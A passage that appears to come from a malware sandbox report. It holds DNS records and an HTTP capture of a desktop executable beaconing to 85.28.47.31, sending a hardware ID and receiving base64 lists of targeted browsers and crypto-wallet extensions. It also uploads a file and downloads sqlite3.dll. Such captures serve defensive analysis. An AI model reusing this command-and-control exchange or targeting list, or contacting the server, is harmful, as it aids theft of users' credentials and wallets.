Jul 27, 2024 12:03:01.040446043 CEST	1.1.1.1	192.168.2.5	0x67ca	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:03:01.051290035 CEST	1.1.1.1	192.168.2.5	0x5b44	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 27, 2024 12:03:03.235724926 CEST	1.1.1.1	192.168.2.5	0xe37f	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 12:03:03.322109938 CEST	1.1.1.1	192.168.2.5	0x47a5	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	85.28.47.31	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:01:04.816459894 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:01:05.463424921 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:05.480303049 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"sila------HCAEHJJKFCAAFHJKFBKK--
Jul 27, 2024 12:01:05.957621098 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 51 7a 4e 6a 52 6d 4d 57 56 6b 5a 6d 4d 78 4d 32 49 32 4d 32 49 34 4e 44 4a 6c 59 7a 67 35 4d 7a 51 32 4e 32 51 34 4e 6d 4d 31 4d 57 51 7a 4e 44 67 34 4d 6a 51 35 4d 6a 52 69 4d 44 4d 35 5a 6d 45 78 5a 44 56 69 4f 54 4a 6c 4e 6d 46 68 5a 47 4e 68 4e 44 6c 6a 4d 6a 45 33 5a 44 64 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzQzNjRmMWVkZmMxM2I2M2I4NDJlYzg5MzQ2N2Q4NmM1MWQzNDg4MjQ5MjRiMDM5ZmExZDViOTJlNmFhZGNhNDljMjE3ZDdifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 27, 2024 12:01:05.958841085 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"browsers------HIIIECAAKECFHIECBKJD--
Jul 27, 2024 12:01:06.144193888 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 27, 2024 12:01:06.144243002 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 27, 2024 12:01:06.145705938 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"plugins------BAKFBKEHDBGHJJKFIEGD--
Jul 27, 2024 12:01:06.348071098 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 27, 2024 12:01:06.348126888 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 27, 2024 12:01:06.348165035 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 27, 2024 12:01:06.348304033 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 27, 2024 12:01:06.348390102 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 27, 2024 12:01:06.348524094 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Jul 27, 2024 12:01:06.348593950 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Jul 27, 2024 12:01:06.349662066 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"fplugins------DBGHJEBKJEGHJKECAAKJ--
Jul 27, 2024 12:01:06.537204981 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 27, 2024 12:01:06.562133074 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAE Host: 85.28.47.31 Content-Length: 7211 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:01:06.562194109 CEST	7211	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 27, 2024 12:01:07.599620104 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:01:08.200573921 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 12:01:08.383002996 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:01:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 27, 2024 12:01:08.383049011 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 27, 2024 12:01:08.383086920 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
